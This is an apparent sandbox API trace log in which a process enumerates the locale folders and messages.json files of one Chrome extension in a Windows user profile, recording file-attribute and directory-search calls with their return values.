	[0066.317] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x12653408 | out: lpFileInformation=0x12653408*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xe4180700, ftLastWriteTime.dwHighDateTime=0x1d03f5e, nFileSizeHigh=0x0, nFileSizeLow=0xcb)) returned 1
	[0066.317] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl"), fInfoLevelId=0x0, lpFileInformation=0x12653458 | out: lpFileInformation=0x12653458*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.318] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.318] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.318] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.318] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.318] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.318] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.318] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x126534f8 | out: lpFileInformation=0x126534f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd9)) returned 1
	[0066.318] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_br"), fInfoLevelId=0x0, lpFileInformation=0x12653548 | out: lpFileInformation=0x12653548*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ab50b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ab50b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.318] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_br"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.318] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ab50b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ab50b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.319] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ab50b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ab50b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.319] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ab6050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.319] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.319] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.319] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_br\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x126535e8 | out: lpFileInformation=0x126535e8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ab6050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xde)) returned 1
	[0066.319] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_pt"), fInfoLevelId=0x0, lpFileInformation=0x12653638 | out: lpFileInformation=0x12653638*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ab50b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ab50b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.320] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_pt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.320] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ab50b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ab50b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.320] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ab50b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ab50b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.320] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ab6050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.320] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.320] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.320] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_pt\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x126536d8 | out: lpFileInformation=0x126536d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ab6050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe0)) returned 1
	[0066.322] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro"), fInfoLevelId=0x0, lpFileInformation=0x12653728 | out: lpFileInformation=0x12653728*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85adb210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85adb210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.322] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.322] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85adb210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85adb210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.322] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85adb210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85adb210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.322] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85add150, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.322] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.322] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.322] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x126537c8 | out: lpFileInformation=0x126537c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85add150, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xde)) returned 1
	[0066.322] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru"), fInfoLevelId=0x0, lpFileInformation=0x12653818 | out: lpFileInformation=0x12653818*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85adb210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85adb210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.323] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.323] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85adb210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85adb210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.323] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85adb210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85adb210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.323] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85add150, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.323] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.323] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.324] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x126538b8 | out: lpFileInformation=0x126538b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85add150, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x110)) returned 1
	[0066.324] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk"), fInfoLevelId=0x0, lpFileInformation=0x12653908 | out: lpFileInformation=0x12653908*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85adb210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85adb210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.324] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
